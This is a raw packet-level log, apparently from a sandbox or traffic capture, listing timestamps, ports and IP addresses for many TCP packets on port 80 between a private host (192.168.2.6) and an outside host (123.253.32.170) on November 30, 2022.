Nov 30, 2022 00:11:10.493988037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494023085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494066000 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494110107 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494153023 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494174957 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494174957 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494195938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494250059 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494316101 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494362116 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494374037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494374037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494411945 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494453907 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494498968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494540930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494554043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494554043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494585037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494626045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494641066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494676113 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494725943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494731903 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494779110 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494822025 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494867086 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494921923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494923115 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.494942904 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.494993925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495044947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495090008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495132923 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495147943 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495147943 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495182037 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495227098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495270014 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495311022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495325089 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495325089 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495356083 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495398045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495440006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495481968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495493889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495493889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495533943 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495599985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495652914 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495696068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495708942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495708942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495747089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495790005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495831966 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495879889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495887041 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495887041 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.495939970 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.495997906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496051073 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496059895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496059895 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496095896 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496145964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496153116 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496153116 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496206045 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496263981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496263981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496551991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496669054 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496690989 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496748924 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496761084 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496793985 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496838093 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496850967 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496850967 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496880054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496896029 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496933937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.496958971 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.496987104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.497035027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.497042894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.497042894 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.497086048 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.497111082 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.497140884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.497204065 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.497204065 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.766786098 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.766814947 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.766838074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.766861916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.766916990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.766933918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.766963959 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.766968966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.766968966 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.766983032 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767024040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767033100 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767033100 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767041922 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767072916 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767076015 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767076015 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767091990 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767107964 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767115116 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767127991 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767138958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767138958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767144918 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767163992 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767191887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767201900 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767201900 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767210007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767241001 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767258883 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767263889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767263889 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767277002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767292976 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767296076 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767313957 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767327070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767335892 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767345905 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767348051 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767365932 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767384052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767395973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767395973 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767400980 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767435074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767435074 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767446995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767465115 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767472982 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767496109 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767497063 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767514944 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767522097 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767533064 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767538071 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767551899 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767570019 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767575979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767575979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767595053 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767610073 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767613888 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767632008 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767649889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767667055 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767684937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767688036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767688036 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767703056 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767709970 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767720938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767735958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767735958 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767740011 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767759085 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767765045 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767817020 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767822027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767822027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767836094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767853975 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767874002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767890930 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767890930 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767904997 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767926931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767937899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767937899 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767945051 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767962933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.767978907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.767978907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768007040 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768023968 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768040895 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768054962 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768055916 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768059969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768099070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768099070 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768105984 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768125057 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768156052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768156052 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768156052 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768172979 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768191099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768208027 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768208981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768208981 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768225908 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768244982 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768265963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768265963 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768276930 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768295050 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768312931 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768321037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768321037 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768346071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768363953 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768369913 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768369913 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768383026 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768387079 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768402100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768420935 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768429995 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768429995 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768439054 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768452883 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768459082 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768466949 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768479109 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768515110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768515110 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768523932 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768537045 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768543005 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768562078 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768575907 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768579960 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768598080 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768624067 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768642902 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768661022 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768677950 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768696070 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768713951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768732071 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768750906 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768781900 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768800974 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768810034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768810034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768810034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768810034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768810034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768810034 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768819094 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768837929 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768857002 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768868923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768868923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768868923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768868923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768868923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768868923 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768874884 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768894911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768903017 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768903017 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768914938 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768915892 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768930912 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768932104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768964052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.768975019 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768975019 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.768982887 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769016027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769016027 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769022942 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769033909 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769042969 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769061089 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769121885 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769121885 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769156933 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769176006 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769195080 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769233942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769233942 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769238949 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769257069 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769273043 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769292116 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769299030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769318104 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:10.769321918 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.769563913 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:10.912373066 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.019455910 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.021420002 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.039200068 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039264917 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039329052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039391994 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039453030 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039462090 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.039462090 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.039514065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039575100 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039633036 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039691925 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039697886 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.039697886 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.039752007 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039813995 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.039906025 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.114639044 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.289464951 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289514065 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289561987 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289594889 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289621115 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.289681911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289696932 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.289715052 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289750099 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289800882 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289815903 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.289824009 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289856911 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.289858103 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.289906979 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291245937 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291282892 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291315079 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291348934 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291382074 CET	80	49725	123.253.32.170	192.168.2.6
Nov 30, 2022 00:11:11.291390896 CET	49725	80	192.168.2.6	123.253.32.170
Nov 30, 2022 00:11:11.291415930 CET	80	49725	123.253.32.170	192.168.2.6
